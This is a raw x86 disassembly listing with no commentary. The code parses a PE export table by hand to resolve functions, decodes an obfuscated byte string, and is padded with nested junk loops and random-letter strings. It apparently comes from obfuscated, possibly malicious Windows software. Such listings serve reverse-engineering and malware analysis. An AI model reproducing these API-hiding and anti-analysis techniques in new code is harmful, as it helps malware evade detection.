mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x5a75
jge 0x410bb3
and dword [ebp - 0x104], 0
jmp 0x410b68
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x4090
jge 0x410bb1
mov eax, dword [ebp - 0x1e8]
sub eax, dword [ebp - 0xfc]
and eax, dword [ebp - 0x184]
or eax, dword [ebp - 0x104]
cdq
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], edx
push dword [ebp - 0x44c]
push dword [ebp - 0x450]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x410b5b
jmp 0x410b39
jmp 0x410b13
jmp 0x410aed
cmp dword [ebp - 0x18c], 0
je 0x4127fa
mov eax, dword [ebp - 0x18c]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x4127fa
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x18c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
cmp dword [eax], 0x4550
jne 0x4127fa
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 0x74], 0
jbe 0x4127fa
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
cmp dword [ecx + eax + 0x78], 0
je 0x4127fa
mov dword [ebp - 0x2b0], 0x3554
mov dword [ebp - 0x368], str.rnck_tizgxf_uvom_iiukhj_pxcjb_jojtxcgvc_eppxrbzb_qfwu
cmp dword [ebp - 0x2b0], 0x379b
jle 0x410cb7
push 0
push 1
push 0x12ee
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
and dword [ebp - 0x10c], 0
jmp 0x410c65
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x6197
jge 0x410cb7
and dword [ebp - 0x40], 0
jmp 0x410c7e
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x3cc4
jge 0x410cb5
mov eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x40]
cdq
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], edx
push dword [ebp - 0x324]
push dword [ebp - 0x328]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x410c77
jmp 0x410c58
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x2b0], 0x3440
jge 0x410ce0
mov edx, dword [ebp - 0x368]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x410cfc
or dword [ebp - 4], 0xffffffff
jmp 0x410d06
mov dword [ebp - 0x2e8], 0x68f2
mov dword [ebp - 0x40c], str.frdzonfa_yjon_bytyqzxv_jdssrcway_vkgnfqt_iaf
cmp dword [ebp - 0x2e8], 0x6ccc
jle 0x410dda
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
and dword [ebp - 0x11c], 0
jmp 0x410d48
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x76
jge 0x410dda
and dword [ebp - 0x114], 0
jmp 0x410d6b
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x195b
jge 0x410dd5
and dword [ebp - 0x19c], 0
jmp 0x410d8d
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x5570
jge 0x410dd3
mov eax, dword [ebp - 0x114]
cdq
idiv dword [ebp - 0x19c]
or edx, dword [ebp - 0x11c]
mov eax, edx
cdq
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x330], edx
push dword [ebp - 0x330]
push dword [ebp - 0x334]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x410d80
jmp 0x410d5e
jmp 0x410d3b
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x2e8], 0x6528
jge 0x410e10
mov edx, dword [ebp - 0x40c]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x410e2c
or dword [ebp - 4], 0xffffffff
jmp 0x410e36
mov eax, 0xffff
mov word [ebp - 0x1c], ax
or dword [ebp - 0x38], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x411088
mov dword [ebp - 0x310], 0x4bb5
mov dword [ebp - 0x418], str.vglbx_bnxldobjn_agg_ivw_oiygkeekz_bafjgeuw_axwpw_tzmnpj_tbfgw_ofegk_jsiiye_yamvk_sxqsxu_hcrvigkni
cmp dword [ebp - 0x310], 0x4f46
jle 0x410f48
and dword [ebp - 0x190], 0
jmp 0x410e87
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x3f92
jge 0x410f48
and dword [ebp - 0x124], 0
jmp 0x410ead
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x4f2f
jge 0x410f43
and dword [ebp - 0x44], 0
jmp 0x410eca
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x48cf
jge 0x410f3e
and dword [ebp - 0x48], 0
jmp 0x410ee0
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x61bc
jge 0x410f3c
mov eax, dword [ebp - 0x190]
sub eax, dword [ebp - 0x124]
and eax, dword [ebp - 0x44]
and eax, dword [ebp - 0x48]
cdq
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], edx
push dword [ebp - 0x33c]
push dword [ebp - 0x340]
lea ecx, [ebp - 0x6b4]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x6b4]
call fcn.00402cea
jmp 0x410ed9
jmp 0x410ec3
jmp 0x410ea0
jmp 0x410e7a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x41103e
mov dword [ebp - 0x2b8], 0x99b
mov dword [ebp - 0x374], str.blklsp_hgjngh_tvvjdqs_xaqffkbvw_dppv_sbnmjs_lrkfon_axmue_yzuffriq_zyncbdr_lmaim
cmp dword [ebp - 0x2b8], 0xcb7
jle 0x410fed
and dword [ebp - 0x60], 0
jmp 0x410f84
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x15e
jge 0x410fed
and dword [ebp - 0x50], 0
jmp 0x410f9a
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x7bbf
jge 0x410feb
and dword [ebp - 0x58], 0
jmp 0x410fb0
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x5caf
jge 0x410fe9
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x58]
shl eax, cl
and eax, dword [ebp - 0x60]
cdq
mov dword [ebp - 0x34c], eax
mov dword [ebp - 0x348], edx
push dword [ebp - 0x348]
push dword [ebp - 0x34c]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x410fa9
jmp 0x410f93
jmp 0x410f7d
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x2b8], 0x652
jge 0x411018
mov edx, dword [ebp - 0x374]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x411034
or dword [ebp - 4], 0xffffffff
jmp 0x41103e
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x310], 0x4a21
jge 0x41105d
push dword [ebp - 0x418]
call fcn.0048cb18
pop ecx
jmp 0x411079
or dword [ebp - 4], 0xffffffff
jmp 0x411083
jmp 0x4118c8
mov dword [ebp - 0x2c0], 0x1509
mov dword [ebp - 0x380], str.pmpwmj_cqimrjvt_hiyoxnth_qxnpydzf_wpkeontvw_cytnle
cmp dword [ebp - 0x2c0], 0x16e4
jle 0x411141
and dword [ebp - 0x78], 0
jmp 0x4110b9
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x30ab
jge 0x411141
and dword [ebp - 0x68], 0
jmp 0x4110cf
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x2a61
jge 0x41113c
and dword [ebp - 0x70], 0
jmp 0x4110e5
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x1400
jge 0x41113a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x70]
shl eax, cl
xor eax, dword [ebp - 0x78]
cdq
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], edx
push dword [ebp - 0x354]
push dword [ebp - 0x358]
lea ecx, [ebp - 0x564]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x564]
call fcn.00402cea
jmp 0x4110de
jmp 0x4110c8
jmp 0x4110b2
mov eax, dword [0xabbf18]
and eax, 1
jne 0x41116d
mov eax, dword [0xabbf18]
or eax, 1
mov dword [0xabbf18], eax
mov ecx, 0xabbf58
call fcn.0040300a
push 0x4ba146
call fcn.0048c7cf
pop ecx
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x2c0], 0x13b0
jge 0x41118c
push dword [ebp - 0x380]
call fcn.0048cb18
pop ecx
jmp 0x4111a8
or dword [ebp - 4], 0xffffffff
jmp 0x4111b2
movzx eax, byte [0xabbe84]
test eax, eax
je 0x41121b
mov ecx, 0xabbf58
call fcn.00426ccd
movzx eax, al
test eax, eax
jne 0x41121b
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0x2f0]
push eax
mov ecx, 0xabbf58
call fcn.00402fe2
lea eax, [ebp - 0x4e8]
push eax
mov ecx, 0xabbf58
call fcn.00402fd4
push eax
lea ecx, [ebp - 0x2f0]
call fcn.00402ff7
movzx eax, al
test eax, eax
je 0x41121b
lea ecx, [ebp - 0x2f0]
call fcn.00426cd6
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
jne 0x4118c8
mov ecx, 0xabbf58
call fcn.00426d1a
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0xabbf58
call fcn.00426d1e
mov dword [ebp - 0x29c], 0x11e0
mov dword [ebp - 0x43c], str.jgovctx_iyr_vzdq_ghyv_xxqaur_dpum_xmdbdc_ycmx_gkbtrvvzh_prvi_qykgqfc_nihcnarm_vlwqpagui
cmp dword [ebp - 0x29c], 0x14a3
jle 0x4112ea
and dword [ebp - 0x80], 0
jmp 0x411271
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x6ca3
jge 0x4112ea
and dword [ebp - 0x88], 0
jmp 0x411290
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x1858
jge 0x4112e8
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x88]
shl eax, cl
cdq
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x360], edx
push dword [ebp - 0x360]
push dword [ebp - 0x364]
lea ecx, [ebp - 0x714]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x714]
call fcn.00402cea
jmp 0x411283
jmp 0x41126a
and dword [ebp - 0x30], 0
jmp 0x4112f7
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [eax + 0x18]
jae 0x411883
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x30]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x294], 0x2f6
mov dword [ebp - 0x398], str.trgbxhzef_ddqmfwy_cuvwzupdj_lqc_tdmxuwuh_cixb_oluexsf_qgmdjsl
cmp dword [ebp - 0x294], 0x5ca
jle 0x41143d
and dword [ebp - 0xa8], 0
jmp 0x411355
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x47fc
jge 0x41143d
and dword [ebp - 0xa0], 0
jmp 0x41137b
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x79c6
jge 0x411438
and dword [ebp - 0x90], 0
jmp 0x4113a1
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x1e7
jge 0x411433
and dword [ebp - 0x98], 0
jmp 0x4113c7
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x7eb5
jge 0x41142e
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x98]
sar eax, cl
and eax, dword [ebp - 0xa0]
or eax, dword [ebp - 0xa8]
cdq
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], edx
push dword [ebp - 0x36c]
push dword [ebp - 0x370]
lea ecx, [ebp - 0x654]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x654]
call fcn.00402cea
jmp 0x4113ba
jmp 0x411394
jmp 0x41136e
jmp 0x411348
cmp dword [ebp - 0x2c8], 0
je 0x411839
mov dword [ebp - 0x308], 0x62d1
mov dword [ebp - 0x424], str.xnlewvtq_gfwnx_gaups_ihqnqm_djg_krqzj_proypo_ybhxldp_wql
cmp dword [ebp - 0x308], 0x662e
jle 0x411548
and dword [ebp - 0xb0], 0
jmp 0x411484
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x3b84
jge 0x411548
and dword [ebp - 0xb8], 0
jmp 0x4114aa
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x6d2a
jge 0x411543
and dword [ebp - 0xc0], 0
jmp 0x4114d0
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x3082
jge 0x41153e
and dword [ebp - 0xc8], 0
jmp 0x4114f2
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x8050
jge 0x41153c
mov eax, dword [ebp - 0xb0]
imul eax, dword [ebp - 0xb8]
add eax, dword [ebp - 0xc0]
sub eax, dword [ebp - 0xc8]
cdq
mov dword [ebp - 0x37c], eax
mov dword [ebp - 0x378], edx
push dword [ebp - 0x378]
push dword [ebp - 0x37c]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x4114e5
jmp 0x4114c3
jmp 0x41149d
jmp 0x411477
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x54c]
call fcn.00426c41
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x308], 0x6052
jge 0x411582
mov edx, dword [ebp - 0x424]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x41159e
or dword [ebp - 4], 0xffffffff
jmp 0x4115a8
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x54c]
call fcn.00405658
mov dword [ebp - 0x284], eax
movzx eax, byte [0xabbe84]
test eax, eax
je 0x4115dc
mov ecx, 0xabbf58
call fcn.00426ccd
movzx eax, al
test eax, eax
jne 0x411715
lea eax, [ebp - 0x284]
push eax
mov ecx, 0xabbf58
call fcn.00426cdc
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov dword [ebp - 0x27c], 0x5176
mov dword [ebp - 0x38c], str.llt_yvksd_cweqs_xpihecf_jcwpouuu_sqhvxar_pxos_oux_kiaqva_qdqc_jnhiim_igtnod_xbifbi_pkgebrji
cmp dword [ebp - 0x27c], 0x54d9
jle 0x4116c9
and dword [ebp - 0xd0], 0
jmp 0x41162c
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x5a5f
jge 0x4116ac
and dword [ebp - 0xd8], 0
jmp 0x41164e
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x5927
jge 0x4116a7
mov eax, dword [ebp - 0xd0]
or eax, dword [ebp - 0xd8]
cdq
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], edx
push dword [ebp - 0x384]
push dword [ebp - 0x388]
lea ecx, [ebp - 0x6e4]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x6e4]
call fcn.00402cea
jmp 0x411641
jmp 0x41161f
push 0
push 0
push 0
push 0
push 0x19b4
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov byte [0xabbe84], 1
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x27c], 0x4dbc
jge 0x4116ef
push dword [ebp - 0x38c]
call fcn.0048cb18
pop ecx
jmp 0x41170b
or dword [ebp - 4], 0xffffffff
jmp 0x411715
mov dword [ebp - 0x28c], 0x2305
mov dword [ebp - 0x430], str.xithffng_laxkab_jsi_fbexxhq
cmp dword [ebp - 0x28c], 0x26c4
jle 0x4117cf
and dword [ebp - 0xe0], 0
jmp 0x41174f
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x169f
jge 0x4117cf
and dword [ebp - 0xe8], 0
jmp 0x411771
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x2ce5
jge 0x4117ca
mov eax, dword [ebp - 0xe0]
xor eax, dword [ebp - 0xe8]
cdq
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x390], edx
push dword [ebp - 0x390]
push dword [ebp - 0x394]
lea ecx, [ebp - 0x57c]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x57c]
call fcn.00402cea
jmp 0x411764
jmp 0x411742
cmp dword [ebp - 0x38], 0xffffffff
jne 0x4117e9
mov eax, dword [ebp - 0x284]
cmp eax, dword [ebp - 0xf0]
jne 0x4117e9
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], 0x28
cmp dword [ebp - 0x28c], 0x203c
jge 0x411808
push dword [ebp - 0x430]
call fcn.0048cb18
pop ecx
jmp 0x411824
or dword [ebp - 4], 0xffffffff
jmp 0x41182e
lea ecx, [ebp - 0x54c]
call fcn.00402ea1
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0x294], 0x242
jge 0x411858
push dword [ebp - 0x398]
call fcn.0048cb18
pop ecx
jmp 0x411874
or dword [ebp - 4], 0xffffffff
jmp 0x41187e
jmp 0x4112f0
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x29c], 0xe3f
jge 0x4118a2
push dword [ebp - 0x43c]
call fcn.0048cb18
pop ecx
jmp 0x4118be
or dword [ebp - 4], 0xffffffff
jmp 0x4118c8
cmp dword [ebp + 0x10], 0
jne 0x411a05
cmp dword [ebp - 0x38], 0xffffffff
je 0x411a05
mov dword [ebp - 0x2a4], 0x1a86
mov dword [ebp - 0x3a4], str.nhmyyczgw_nmiidmyh_fsp_ocxynnqfk_bsa_iteuym_xrwkneuwo_hgqeubjw_chqpmn_wjxo_yymz_ddsroc_ycwfyxbx
cmp dword [ebp - 0x2a4], 0x1cf3
jle 0x4119a8
and dword [ebp - 0x108], 0
jmp 0x411916
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0xd83
jge 0x4119a8
and dword [ebp - 0xf8], 0
jmp 0x41193c
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x6034
jge 0x4119a3
and dword [ebp - 0x100], 0
jmp 0x41195e
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x536
jge 0x4119a1
mov eax, dword [ebp - 0xf8]
sub eax, dword [ebp - 0x100]
or eax, dword [ebp - 0x108]
cdq
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], edx
push dword [ebp - 0x39c]
push dword [ebp - 0x3a0]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x411951
jmp 0x41192f
jmp 0x411909
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x38]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x1c], ax
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x2a4], 0x1702
jge 0x4119df
mov edx, dword [ebp - 0x3a4]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x4119fb
or dword [ebp - 4], 0xffffffff
jmp 0x411a05
movzx eax, word [ebp - 0x1c]
cmp eax, 0xffff
je 0x4127fa
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x1c]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2fc], 0x206b
mov dword [ebp - 0x480], str.xdko_idmyv_mgfavihb_awna_cwyvqfs_qjlpcxmt_vgagovuq_foc_xbkdcynyn_jqznm_lwr_nwr
cmp dword [ebp - 0x2fc], 0x23bc
jle 0x411af2
and dword [ebp - 0x110], 0
jmp 0x411a72
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x3b69
jge 0x411af2
and dword [ebp - 0x118], 0
jmp 0x411a94
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x7996
jge 0x411aed
mov eax, dword [ebp - 0x110]
or eax, dword [ebp - 0x118]
cdq
mov dword [ebp - 0x3ac], eax
mov dword [ebp - 0x3a8], edx
push dword [ebp - 0x3a8]
push dword [ebp - 0x3ac]
lea ecx, [ebp - 0x5ac]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x5ac]
call fcn.00402cea
jmp 0x411a87
jmp 0x411a65
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jbe 0x4127b0
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x28]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x24], edx
jae 0x4127b0
mov eax, dword [0xabbf18]
and eax, 2
jne 0x411b3e
mov eax, dword [0xabbf18]
or eax, 2
mov dword [0xabbf18], eax
push 0x1c1f
call fcn.0040189b
pop ecx
mov byte [0xabbf4c], al
mov byte [ebp - 0x210], 1
mov byte [ebp - 0x20f], 0x6d
mov byte [ebp - 0x20e], 2
mov byte [ebp - 0x20d], 0x6f
mov byte [ebp - 0x20c], 0x15
mov byte [ebp - 0x20b], 0x11
mov byte [ebp - 0x20a], 0xac
mov byte [ebp - 0x209], 5
mov byte [ebp - 0x208], 0x30
mov byte [ebp - 0x207], 0xf9
mov byte [ebp - 0x206], 0xf1
mov byte [ebp - 0x205], 0x7f
mov byte [ebp - 0x204], 0x23
mov byte [ebp - 0x203], 0x3d
mov byte [ebp - 0x202], 0xf
mov byte [ebp - 0x201], 0xa8
mov byte [ebp - 0x200], 0x5f
mov byte [ebp - 0x1ff], 0xa8
mov byte [ebp - 0x1fe], 0xb4
mov byte [ebp - 0x1fd], 0x45
mov byte [ebp - 0x1fc], 0x22
mov byte [ebp - 0x1fb], 0xcb
mov byte [ebp - 0x1fa], 0x3f
mov byte [ebp - 0x1f9], 0xb
mov byte [ebp - 0x1f8], 0xe1
mov byte [ebp - 0x1f7], 0
mov byte [ebp - 0x1f6], 0x69
and dword [ebp - 0x20], 0
and dword [ebp - 0x2ac], 0
jmp 0x411c10
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1b
jae 0x411c9d
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x210]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x411c46
mov dword [ebp - 0x2ac], 0x15
mov eax, dword [ebp - 0x20]
add eax, 0x13
mov dword [ebp - 0x20], eax
jmp 0x411c08
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x20f]
sub eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2ac]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
jge 0x411c80
mov eax, dword [ebp - 0x120]
add eax, 0x100
mov dword [ebp - 0x120], eax
jmp 0x411c64
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x210]
mov cl, byte [ebp - 0x120]
mov byte [ebp + eax - 0x274], cl
jmp 0x411c08
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x274], 0
mov eax, dword [0xabbf18]
and eax, 4
jne 0x411cde
mov eax, dword [0xabbf18]
or eax, 4
mov dword [0xabbf18], eax
lea eax, [ebp - 0x274]
push eax
mov ecx, 0xabbf98
call fcn.00426c41
push 0x4ba137
call fcn.0048c7cf
pop ecx
mov dword [ebp - 0x2b4], 0x725f
mov dword [ebp - 0x3b0], str.jbxbllcu_hnizpcgs_twkj
cmp dword [ebp - 0x2b4], 0x735b
jle 0x411d76
and dword [ebp - 0x128], 0
jmp 0x411d14
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x7eb3
jge 0x411d76
and dword [ebp - 0x130], 0
jmp 0x411d36
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x2707
jge 0x411d74
mov eax, dword [ebp - 0x128]
imul eax, dword [ebp - 0x130]
cdq
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], edx
push dword [ebp - 0x3b4]
push dword [ebp - 0x3b8]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x411d29
jmp 0x411d07
and dword [ebp - 0x138], 0
jmp 0x411d8c
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 4
jae 0x411da5
mov eax, dword [ebp - 0x138]
mov byte [ebp + eax - 0x274], 0
jmp 0x411d7f
mov dword [ebp - 4], 0x30
cmp dword [ebp - 0x2b4], 0x71f3
jge 0x411dc8
mov edx, dword [ebp - 0x3b0]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x411de4
or dword [ebp - 4], 0xffffffff
jmp 0x411dee
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2bc], 0x753
mov dword [ebp - 0x454], str.fnmh_qsdte_pppgydwoy_tncodrw_rhj
cmp dword [ebp - 0x2bc], 0x85a
jle 0x411eae
and dword [ebp - 0x140], 0
jmp 0x411e2e
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x4824
jge 0x411eae
and dword [ebp - 0x148], 0
jmp 0x411e50
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0xc8
jge 0x411ea9
mov eax, dword [ebp - 0x140]
sub eax, dword [ebp - 0x148]
cdq
mov dword [ebp - 0x3c4], eax
mov dword [ebp - 0x3c0], edx
push dword [ebp - 0x3c0]
push dword [ebp - 0x3c4]
lea ecx, [ebp - 0x5dc]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x5dc]
call fcn.00402cea
jmp 0x411e43
jmp 0x411e21
mov eax, dword [ebp - 0x2c]
movsx eax, byte [eax]
movsx ecx, byte [0xabbf4c]
cmp eax, ecx
je 0x411ec8
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
jmp 0x411eae
mov dword [ebp - 4], 0x32
cmp dword [ebp - 0x2bc], 0x53b
jge 0x411ee7
push dword [ebp - 0x454]
call fcn.0048cb18
pop ecx
jmp 0x411f03
or dword [ebp - 4], 0xffffffff
jmp 0x411f0d
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
